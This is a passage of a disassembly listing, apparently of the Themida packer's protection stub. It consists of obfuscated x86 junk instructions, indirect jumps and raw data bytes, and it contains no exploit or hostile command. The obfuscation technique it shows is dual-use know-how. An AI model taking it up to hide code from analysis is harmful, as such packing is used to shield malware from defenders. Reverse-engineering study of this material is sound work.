		pop	esp
		push	ecx
		push	edi
		mov	edi, 1D6E757Eh
		mov	ecx, edi
		pop	edi
		add	eax, ecx
		pop	ecx
		jmp	loc_551CE3
; ---------------------------------------------------------------------------


loc_558625:				; CODE XREF: Themida_:005555A9j
		push	edi
		mov	edi, 5FB05FDCh
		mov	edx, edi
		pop	edi
		shr	edx, 3
		and	edx, 100C0473h
		add	edx, 1
		neg	edx
		jmp	loc_555858
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 32h
		dd 1CD6314h, 0BAE95BDAh, 0BFFFFFD0h, 35E366AFh,	5CFFB850h
		dd 0C7092208h, 0E9DFF758h, 4444h, 240C8B66h, 1E2F6850h
		dd 0F4E90000h, 81000040h, 0FB37A2C3h, 857FE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55867E:				; CODE XREF: Themida_:0055BC3Fj
		and	eax, 0EF06814h
		neg	eax
		inc	eax
		sub	eax, 0FD6FDFF9h
		sub	edi, eax
		jmp	loc_55AB94
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4FDD5675h, 875BD901h, 5C240Ch, 836E04D8h, 0C8904ECh
		dd 536A6824h, 14890000h, 0E9BAB224h, 0FFFFF7CCh, 328ECD81h
		dd 0C5814AE9h, 570F46D7h, 25E9DDF7h, 100003Fh, 5BC581F5h
		dd 5E64903Eh, 8B242C87h, 8B662424h, 68552404h, 1DBCh, 51242489h
		dd 4B9h, 244C0100h, 240C8B04h, 8B04C483h, 0C481242Ch, 4
		dd 4C581h, 0BA520000h, 4BF159B3h, 1204F281h, 0DAF778C0h
		dd 0B44BF281h, 0D501CCCEh, 4B9685Ah, 2C890000h,	2474FF24h
		dd 242C8B04h, 4C481h, 48F0000h,	24248B24h, 0F66E1F6h, 4A68CCB6h
		dd 8900002Fh, 0BCE9242Ch
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55874B:				; CODE XREF: Themida_:00554B8Fj
		sub	ebx, 156377BDh
		add	ebx, edi
		jmp	loc_553BE9
; ---------------------------------------------------------------------------
		dd 66C2C580h, 66511168h, 0B4240489h, 66E530D5h,	52DDF658h
		dd 0FF8C12E9h, 52E589FFh, 4BAh,	0C6D1E900h, 0F66FFFFh
		dd 9C2404B3h, 0FF82BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558789:				; CODE XREF: Themida_:0055993Fj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558C43
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4685100h, 59000000h, 6D6CEE81h, 4DE96C33h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587AF:				; CODE XREF: Themida_:0055CB3Fj
		pop	ebx
		sub	ebx, 15D00457h
		push	ebx
		pop	esi
		pop	ebx
		xor	esi, 0D610C28h
		sub	esi, 67EF4FD8h
		dec	esi
		push	ebx
		mov	ebx, 205223C2h
		shl	ebx, 8
		inc	ebx
		shl	ebx, 7
		or	ebx, 158A40E4h
		xor	ebx, 0A33FF33Bh
		xor	esi, ebx
		pop	ebx
		jmp	loc_551CB8
; ---------------------------------------------------------------------------
		db 50h
		dd 0D09ACB8h, 58C78969h, 1208E9h, 0D831AD00h, 8904EC83h
		dd 5650240Ch, 2A02E9h, 823CE900h, 0E289FFFFh, 4BE56h, 0F2010000h
		dd 0FFACEDE9h, 24E95EFFh
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55881F:				; CODE XREF: Themida_:005536ADj
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	edx, edx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 448D6DCDh
		sub	dword ptr [esp+4], 50A97A7Eh
		jmp	loc_55A84A
; ---------------------------------------------------------------------------
		dd 624868h, 3C716800h, 0EC810000h, 4, 83242489h, 8F042404h
		dd 0C6E92404h, 8BFFFFB0h, 0C4832414h, 0C0B60F04h, 21DFE9h
		dd 8AED8000h, 0F696F580h, 0FEE580D5h, 0FFB5F8E9h, 240489FFh
		dd 405E089h, 51000000h,	4B9h, 59C80100h, 5C240487h, 5604C483h
		dd 0C681E689h, 4, 4C681h, 34870000h, 0EC835C24h, 24048904h
		dd 17B85051h, 0E97F510Dh, 0FFFF9D78h, 0F281DAF7h, 41DB669Ah
		dd 6E36F281h, 9FE95557h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5588CF:				; CODE XREF: Themida_:005574F2j
		or	edi, 39B44324h
		shl	edi, 4
		xor	edi, 9199CFF0h
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5544D9
; ---------------------------------------------------------------------------
		db 87h
		dd 86E9243Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5588F3:				; CODE XREF: Themida_:00556F7Aj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		dec	ebx
		jmp	loc_550B27
; ---------------------------------------------------------------------------
		db 88h
		dd 0F094E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55890A:				; CODE XREF: Themida_:0055A0C3j
		mov	eax, 0
		add	eax, ebx
		push	edx
		push	eax
		mov	eax, 0
		mov	edx, eax
		jmp	loc_556265
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D896E95Bh, 0BE56FFFFh, 74513D0Dh, 962BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558932:				; CODE XREF: Themida_:0055BA36j
		add	edx, eax
		pop	eax
		mov	esi, edx
		pop	edx
		sub	eax, 2123801h
		sub	eax, esi
		add	eax, 2123801h
		mov	esi, [esp]
		jmp	loc_55508E
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 0E99C5166h, 0FFFF80EEh, 0BF243C89h, 4, 0E040E62Dh
		dd 0E9F8011Bh, 405Fh, 8102EBC1h, 0DD5677CBh, 0FD18E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55897A:				; CODE XREF: Themida_:00550D17j
		push	4914h
		mov	[esp], ebx
		pop	edx
		pop	ebx
		mov	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5556F4
; ---------------------------------------------------------------------------
		dd 0A0E9E689h, 0BBFFFFD1h, 599C79D8h, 15EF331h,	826E9D8h
		dd 8B660000h, 6852240Ch, 0C25h,	52242489h, 77EB6857h, 815F4745h
		dd 2936CDC7h, 0B471E92Eh, 685BFFFFh, 62DAh, 52243C89h
		dd 5C270068h, 1866E95Ch, 0B8500000h, 69954E56h,	0E907E8C1h
		dd 0FFFFF3B4h, 50F5015Fh, 0D74A00B8h, 58C5294Ah, 5E2434FFh
		dd 8304C483h, 2C8702C5h, 0D3E95C24h, 80FFFFDAh,	0F73007EEh
		dd 0E924148Bh, 0FFFFBBD3h
; ---------------------------------------------------------------------------


loc_558A14:				; CODE XREF: Themida_:00552821j
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5539B4
; ---------------------------------------------------------------------------


loc_558A39:				; CODE XREF: Themida_:00556372j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	5D25h
		mov	[esp], edx
		push	edi
		mov	edi, 5DA10806h
		jmp	loc_55805B
; ---------------------------------------------------------------------------
		dd 0FFFFC781h, 0EF81FFFFh, 751511BDh, 6D4ABE56h, 0CDE94C2Dh
		dd 81000034h, 61004AEBh, 24148B00h, 4C481h, 21E90000h
		dd 80FFFFDFh, 0B60F3EC3h, 87048FC0h, 0FF8BCDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558A95:				; CODE XREF: Themida_:0055498Aj
		add	ecx, edx
		pop	edx
		and	eax, ecx
		pop	ecx
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 37502797h
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		push	3FF5h
		mov	[esp], ebp
		mov	ebp, 37502797h
		push	ebp
		mov	ebp, 56721FCAh
		inc	ebp
		xor	ebp, 3A1442D3h
		add	eax, ebp
		jmp	loc_55B1EF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 0C9E90000h, 9FFFF9Dh, 835A1C57h
		dd 348904ECh, 0F674E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558AF2:				; CODE XREF: Themida_:0055A2BCj
		pop	ebx
		push	edx
		mov	edx, 705259E6h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5541C3
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 1000000h, 0FF525EF2h, 5A042474h, 741E9h, 0E9F82800h
		dd 39D3h
; ---------------------------------------------------------------------------


loc_558B20:				; CODE XREF: Themida_:00554276j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555A45
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 5CBB5324h, 897AFC1Ch, 44295BD8h, 0E9580424h,	0FFFF7EF2h
; ---------------------------------------------------------------------------


loc_558B54:				; CODE XREF: Themida_:00558C2Ej
		add	esi, 4
		add	esi, 4
		jmp	loc_558EB2
; ---------------------------------------------------------------------------


loc_558B65:				; CODE XREF: Themida_:005555E4j
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55C842
; ---------------------------------------------------------------------------


loc_558B72:				; CODE XREF: Themida_:0055CC39j
		not	edx
		push	edx
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_555E81
; ---------------------------------------------------------------------------
		db 5Bh,	29h, 0FDh
		dd 3382ED81h, 15F34A8h,	34875DEEh, 24248B24h, 9C240CFFh
		dd 32FFE9h, 0E9F12900h,	294Dh, 0E368D828h, 89000057h, 93B7241Ch
		dd 0E92DF780h, 0FFFFAA6Dh, 0C781D729h, 12747E6Dh, 8324148Bh
		dd 0EF8104C4h, 4BD13409h, 562FBB53h, 0E3812038h, 301D3252h
		dd 6CBFE381h, 0EB810F82h, 0ADA19B34h, 0FF979FE9h, 0FCB252FFh
		dd 805AD330h, 38E96CC3h, 89FFFF9Dh, 74FF242Ch, 8F5D0424h
		dd 895C2404h, 9C502414h, 0FF7E3DE9h, 241489FFh,	89E9B3B6h
		dd 0E900003Dh, 0FFFF7E2Eh, 57B1C781h, 0CF017867h, 57B1EF81h
		dd 0B7E97867h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558C2B:				; CODE XREF: Themida_:00551D0Fj
		push	esi
		push	esp
		pop	esi
		jmp	loc_558B54
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BE0F2424h, 0CC868C8h, 24E90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C43:				; CODE XREF: Themida_:0055878Fj
		pop	dword ptr [esp]
		jmp	loc_55B305
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0CFF6624h, 0EBE99C24h, 1FFFF7Dh, 5CFB2DD0h
		dd 515A2A52h, 81FF3B9h,	7E9C149h, 5602E1C1h, 0A6507BEh
		dd 0E289521Ah, 4C281h, 0EA830000h, 6F2E904h, 0C4810000h
		dd 4, 68E78957h, 6965h,	0B8240489h, 4, 48BC701h, 4C48324h
		dd 4B850h, 0C7010000h, 1363E958h, 89560000h, 4C681E6h
		dd 68000000h, 2A77h, 0B8240489h, 4, 3358C601h, 34312434h
		dd 24343324h, 5324248Bh, 0B951E389h, 4,	0FFDFACE9h, 2974BBFFh
		dd 0D3F72F59h, 0D687EB81h, 0DE01D0A6h, 5B2434FFh, 8304C483h
		dd 348702C6h, 3CE95C24h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D07:				; CODE XREF: Themida_:0055AE63j
		inc	cl
		jmp	loc_554D62
; ---------------------------------------------------------------------------


loc_558D0E:				; CODE XREF: Themida_:0055CDDDj
		push	ebx
		mov	ebx, 76A70431h
		push	edx
		push	ebp
		mov	ebp, 7ADD44B5h
		or	ebp, 62060534h
		jmp	loc_55CAEE
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 51E95C24h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D2F:				; CODE XREF: Themida_:00551906j
		pop	ecx
		shr	eax, 0Ah
		jmp	loc_55A1B1
; ---------------------------------------------------------------------------
		dd 864946BFh, 0A3B9517Dh, 8118F255h, 9504D4C1h,	81D9F750h
		dd 0FA30E0E1h, 998BE93Bh, 665CFFFFh, 5524148Bh,	242C8B54h
		dd 5704C483h, 0D628DFBFh, 6E7C11Bh, 0FFACDCE9h,	111FB9FFh
		dd 0E981446Dh, 5F8E792Eh, 3556E181h, 0F18116F2h, 4D21554h
		dd 4A21EE81h, 0CE015542h, 0BC0E9h, 44E9AC00h, 80000006h
		dd 8852FEF3h, 0E9F088DEh, 229Ch, 0E9240431h, 0FFFF92A9h
		dd 24048B66h, 0FFDBE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DB9:				; CODE XREF: Themida_:0055A8D3j
		dec	edx
		xor	edx, 548A660Bh
		mov	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 26816CCCh
		shr	ebx, 7
		add	ebx, 259B2491h
		jmp	loc_55CFA6
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 4EC81h, 24890000h, 24048124h, 4, 0FF9193E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DF5:				; CODE XREF: Themida_:005541DDj
		push	small 0
		jmp	loc_55BEA4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 83240C8Bh, 256804C4h, 89000069h, 5954240Ch
		dd 0FFBE04E9h, 51E589FFh, 4B9h,	0E9CD0100h, 0FFFFABA7h
		dd 240C8B66h, 0FFD825E9h, 2BAFFh, 0ED810000h, 46065F5Fh
		dd 0B850D501h, 29623125h, 0FFA9B2E9h, 0D9F741FFh, 19EEE9h
		dd 5BD93100h, 5759C829h, 0F7A37DBFh, 725F05BFh,	0B8E93B47h
		dd 0FF000019h, 0FF042474h, 34FF2434h, 8878E924h, 0C280FFFFh
		dd 5AD32847h, 0E1E9DE30h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E83:				; CODE XREF: Themida_:0055C5EBj
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 7BE179CCh
		add	esi, 841E8638h
		jmp	loc_559E03
; ---------------------------------------------------------------------------
		dd 0C8BC821h, 4C48124h,	0E9000000h, 238Eh
; ---------------------------------------------------------------------------


loc_558EAC:				; CODE XREF: Themida_:00550F79j
		pop	esi
		jmp	loc_5516A6
; ---------------------------------------------------------------------------


loc_558EB2:				; CODE XREF: Themida_:00558B60j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552873
; ---------------------------------------------------------------------------
		db 89h
		dd 2AE92424h, 68000016h, 3AAh, 434E9h, 24048B00h, 2F768h
		dd 241C8900h, 0FFD274E9h, 0E9C831FFh, 311Ah
; ---------------------------------------------------------------------------


loc_558EE4:				; CODE XREF: Themida_:00554480j
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_55A570
; ---------------------------------------------------------------------------


loc_558EFB:				; CODE XREF: Themida_:0055A71Fj
		and	edx, 594239C7h
		push	39D5h
		jmp	loc_55741D
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF9969E9h, 4E3C1FFh, 6B60F381h, 0EB817653h,	98B43CFEh
		dd 815EF329h, 8D7F7AC3h, 0C5CB8139h, 8122D93Bh,	44981DF3h
		dd 5BD801D1h, 0BDE9E831h, 89000019h, 6AE92414h,	83FFFFACh
		dd 92E904C4h, 6600002Fh, 0E9240C8Bh, 0FFFF8907h, 2806C2BBh
		dd 94A2E959h, 0C801FFFFh, 0FF81C7E9h, 60CD81FFh, 4D06EC77h
		dd 7F5DB850h, 0C52986EEh, 38F40558h, 0E8011243h, 0FF9AA4E9h
		dd 4C481FFh, 0E9000000h, 1C6Dh,	4E8835Bh, 5C240487h, 89243C89h
		dd 4C781E7h, 55000000h,	9A2E80BDh, 7EED810Eh, 0E90E9A2Eh
		dd 0FFFFE850h
; ---------------------------------------------------------------------------


loc_558FB4:				; CODE XREF: Themida_:0055B826j
		sub	edx, 19DB11CEh
		jmp	loc_55914B
; ---------------------------------------------------------------------------
		db 57h
		dd 0B9515F54h, 5F3C3D60h, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 0E95C2434h, 0FFFF8118h
; ---------------------------------------------------------------------------


loc_558FE0:				; CODE XREF: Themida_:0055364Cj
		pop	edx
		xor	[esp+4], eax
		jmp	loc_55A2C1
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0CDE904C1h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558FFB:				; CODE XREF: Themida_:005554B4j
		mov	edi, 70AB7854h
		xor	edx, edi
		pop	edi
		push	ebp
		push	edi
		mov	edi, 3C4742Ah
		mov	ebp, edi
		pop	edi
		sub	edx, 1E4B1B91h
		sub	edx, ebp
		add	edx, 1E4B1B91h
		mov	ebp, [esp]
		jmp	loc_55297C
; ---------------------------------------------------------------------------
		db 68h
		dd 2222h, 54242C89h, 4EC815Dh, 89000000h, 4BE2434h, 0E9000000h
		dd 27FBh, 2B60F66h, 52F26866h, 24048966h, 0FF79F5E9h, 4C481FFh
		dd 50000000h, 4B8h, 0E9C10100h,	0FFFFE5A9h
; ---------------------------------------------------------------------------


loc_559064:				; CODE XREF: Themida_:005597E7j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_556299
; ---------------------------------------------------------------------------


loc_559072:				; CODE XREF: Themida_:00554BF7j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 21FC43F1h
		jmp	loc_55B257
; ---------------------------------------------------------------------------
		dw 6664h
		dd 6602B60Fh, 666BCD68h, 0E9240489h, 0FFFF79AEh
; ---------------------------------------------------------------------------


loc_559098:				; CODE XREF: Themida_:00554B07j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_554E6D
; ---------------------------------------------------------------------------
		db 0E9h, 8Ch, 79h
		dd 3C8BFFFFh, 4C48124h,	58000000h, 74226850h, 34890000h
		dd 79AEBE24h, 99E92819h, 54FFFFA6h, 4BE565Fh, 1000000h
		dd 0EF815EF7h, 4, 31243C33h, 3C33243Ch,	0C8B4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5590F6:				; CODE XREF: Themida_:0055B252j
		mov	[esp], ecx
		push	edx
		mov	edx, 0FFFFFFFFh
		push	edx
		jmp	loc_553E9B
; ---------------------------------------------------------------------------


loc_559105:				; CODE XREF: Themida_:0055C0EFj
		pop	esp
		push	39EBh
		jmp	loc_55965B
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704E8h, 1C895C24h, 9355E924h
		dd 0C801FFFFh, 724A0559h, 0F52D7B55h, 2177389Dh, 8FE958C3h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55913B:				; CODE XREF: Themida_:0055BA6Aj
		mov	[esp], ebx
		xor	dword ptr [esp], 2D3A488Eh
		pop	eax
		jmp	loc_55A719
; ---------------------------------------------------------------------------


loc_55914B:				; CODE XREF: Themida_:00558FBAj
		sub	edx, 35F71F73h
		sub	edx, 3C403F75h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554B1F
; ---------------------------------------------------------------------------


loc_559165:				; CODE XREF: Themida_:00556D83j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_55A678
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0CEh
aXnsa		db '$∙nИ═',8,0
		align 4


loc_559184:				; CODE XREF: Themida_:0055C2BEj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_557944
; ---------------------------------------------------------------------------
		dd 215FF829h, 0CB7BE9C6h, 0E950FFFFh, 0FFFFA2A5h, 42D5Bh
		dd 4330000h, 24043124h,	0E9240433h, 0FFFFF17Dh
; ---------------------------------------------------------------------------


loc_5591E0:				; CODE XREF: Themida_:00551B9Aj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	5DB7h
		mov	[esp], edx
		push	ebp
		jmp	loc_55A92B
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C6h
		dd 485A043Ah, 0EE81FE01h, 485A043Ah, 81243C8Bh,	4C4h, 31E95B00h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559213:				; CODE XREF: Themida_:0055CF66j
		add	esp, 4
		jmp	loc_55685D
; ---------------------------------------------------------------------------
		align 4
		dd 4EC81D8h, 89000000h,	6851241Ch, 5B4Ah, 0B6241489h, 0E9F5883Ch
		dd 0FFFFDAE7h, 0E924248Bh, 0FFFF7806h
; ---------------------------------------------------------------------------


loc_559240:				; CODE XREF: Themida_:0055617Dj
		pop	esp
		or	eax, eax
		jz	loc_55297F
		push	dword ptr [edi+28h]
		jmp	loc_555E1B
; ---------------------------------------------------------------------------
aZ4Se		db '┤4$\И┘ ',0
		align 2
		dw 48Fh
		dd 24248B24h, 9C2404D2h, 0FF77DDE9h, 8BD988FFh,	25E9241Ch
		dd 1FFFFCCh, 0B5C181D9h, 5B44AA27h, 0FFB510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559281:				; CODE XREF: Themida_:00555EE0j
		sub	al, 6Eh
		pop	dx
		push	small 2CF5h
		mov	[esp], bx
		push	2257h
		jmp	loc_55427B
; ---------------------------------------------------------------------------


loc_559297:				; CODE XREF: Themida_:0055300Bj
		or	edx, 458152A9h
		shl	edx, 2
		sub	edx, 8812F212h
		add	eax, edx
		pop	edx
		mov	ecx, [esp]
		push	ecx
		push	esp
		jmp	loc_558231
; ---------------------------------------------------------------------------
		db 25h
		dd 4EF84D38h, 61797B05h, 86690535h, 0C1018806h,	68376858h
		dd 34890000h, 2BE24h, 0F1010000h, 0FFCCE4E9h, 4C481FFh
		dd 81000000h, 0FBDEA3C3h, 0E9D901FFh, 33A8h, 53240C89h
		dd 23386FBBh, 48BB532Ch, 5722010Bh, 0FF9E61E9h,	240489FFh
		dd 0D2685355h, 0E97CB470h, 0FFFFBC66h, 5A232Ch,	0CAB252D8h
		dd 525AD000h, 0BE56E289h, 4, 815EF201h,	4EAh, 24148700h
		dd 0FF81EEE9h, 30B2B7FFh, 525058E7h, 0D488FA88h, 0FFE2885Ah
		dd 9EE92434h, 0BB000008h, 44702857h, 0FF53DBF7h, 815B2404h
		dd 3E560CF3h, 2DB85020h, 21393776h, 1531E9C3h, 0E5890000h
		dd 4C581h, 0E9530000h, 0FFFFA5F5h, 5C241487h, 0E9243C89h
		dd 0FFFFF463h, 42E9F701h, 89FFFFC6h, 4C681E6h, 0E9000000h
		dd 0FFFFA41Fh
; ---------------------------------------------------------------------------


loc_559398:				; CODE XREF: Themida_:005546EBj
		mov	eax, 12731B4Eh
		add	eax, 39813317h
		neg	eax
		xor	eax, 35915408h
		sub	eax, 0FFFFFFFFh
		xor	eax, 819AE595h
		add	edx, eax
		pop	eax
		inc	edx
		xor	edx, 79504380h
		add	esi, 65D92D42h
		add	esi, edx
		sub	esi, 65D92D42h
		pop	edx
		jmp	loc_551B42
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aHml7oys4	db 'hml7oYИй4',0
		dw 2C00h
		dd 0DBB652ACh, 0FFE9C1E9h, 3CE957FFh, 88FFFF9Ch, 0F65B66F8h
		dd 68D086D2h, 0
		dd 0F2242C80h, 80240428h, 8AF22404h, 0C4832404h, 0E9AB0404h
		dd 168Ch
; ---------------------------------------------------------------------------


loc_559414:				; CODE XREF: Themida_:00552FC1j
		add	edx, 7A523F2Ch
		push	eax
		mov	eax, 1
		add	edx, eax
		jmp	loc_5527FB
; ---------------------------------------------------------------------------
		db 1
		dd 0B9515BDAh, 3ABC277Bh, 21A6BB53h, 0D92949E4h, 4AEE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55943E:				; CODE XREF: Themida_:00554DA7j
		add	al, 9
		sub	al, ch
		jmp	loc_5511A5
; ---------------------------------------------------------------------------
		db 1
		dd 0BD555FFAh, 2, 0E95DEA01h, 0FFFF86D7h, 4C681h, 34870000h
		dd 2C335C24h, 242C3124h, 8B242C33h, 0D3662424h,	0E99C2424h
		dd 0FFFF75CEh, 4C781h, 28E90000h, 80FFFFBFh, 0D388FBF2h
		dd 7DEB805Ah, 0FF84FBE9h, 8392B7FFh, 148904ECh,	88FA8824h
		dd 805B5AD4h, 0B6E92EE4h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5594A7:				; CODE XREF: Themida_:00550B8Bj
		mov	ah, 0F5h
		not	ah
		neg	ah
		xor	ah, 91h
		jmp	loc_559508
; ---------------------------------------------------------------------------
aN1HC		db '╜1ьh<C',0
		dd 0D144E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5594C2:				; CODE XREF: Themida_:00556501j
		push	eax
		mov	eax, 7D060D0Ah
		jmp	loc_55A352
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF7ECEE9h, 28C2B4FFh, 344BE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594DE:				; CODE XREF: Themida_:0055338Aj
		add	ecx, eax
		push	edx
		mov	edx, 3875035Eh
		shr	edx, 3
		neg	edx
		neg	edx
		sub	edx, 0B3F36CB2h
		sub	ecx, edx
		pop	edx
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_559508:				; CODE XREF: Themida_:005594B0j
		add	bl, ah
		pop	eax
		jmp	loc_553637
; ---------------------------------------------------------------------------
		dd 0E9241C33h, 1BCDh, 1EEBE951h, 23E90000h, 81FFFF75h
		dd 8D1C07EBh, 5BDE8912h, 0E95EF101h, 0FFFF9F47h, 0FF2434FFh
		dd 83592434h, 0EC8104C4h, 4, 0E9241489h, 0FFFF75E8h, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558106
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0C233E924h, 3431FFFFh, 0C385E924h, 34FFFFFFh, 0C4835924h
		dd 4EB8104h, 87000000h,	895C241Ch, 0BB241Ch, 9000002h
		dd 34FF1C5Fh, 1108E924h, 8B660000h, 54502404h, 0BE565758h
		dd 57865B5h, 535EF789h,	0E72D2CBBh, 0BEA3E968h,	0FB01FFFFh
		dd 1E65EB81h, 0E95F3192h, 1DC4h, 8B28C1BEh, 0DEF74642h
		dd 0C681D6F7h, 0BD74D743h, 15EF589h, 0B8505DEFh, 4FCD5ADDh
		dd 5707E8C1h, 81A69BFh,	5CF78165h, 0E9441A64h, 0FFFF80A8h
		dd 4BAh, 5AD00100h, 31240433h, 4332404h, 896CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559602:				; CODE XREF: Themida_:0055CA0Aj
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_552D9B
; ---------------------------------------------------------------------------
		db 1
		dd 9CE95EF0h, 0C0FFFFFCh, 0D2F604E2h, 53CFCA80h, 0FA000BB7h
		dd 3DBE9h, 0EC835800h, 243C8904h, 0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 2EBB241Ch, 502C4014h, 0B8h, 93D82900h, 0C1DBF758h
		dd 10E903EBh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55965B:				; CODE XREF: Themida_:0055910Bj
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55CA6B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 66D00166h, 6650665Ah, 664EACB8h, 5866C329h, 0BF686655h
		dd 665D660Fh, 32D5E581h, 0C7C58166h, 0E5C16629h, 0B9665108h
		dd 49666E39h, 1CE98166h, 0CD296662h, 8BF9E959h,	0F829FFFFh
		dd 7C59CA2Dh, 0F6E95F37h, 81FFFFB4h, 4C7h, 74FF5700h, 3C8B0424h
		dd 4C48124h, 8F000000h,	0E0E92404h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5596D7:				; CODE XREF: Themida_:005541F2j
		mov	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 1E9A18E7h
		and	ecx, esi
		jmp	loc_55622C
; ---------------------------------------------------------------------------


loc_5596E7:				; CODE XREF: Themida_:0055B45Fj
		mov	[esp], edi
		jmp	loc_55993B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF7352h
; ---------------------------------------------------------------------------


loc_5596F4:				; CODE XREF: Themida_:005523A7j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_559F14
; ---------------------------------------------------------------------------


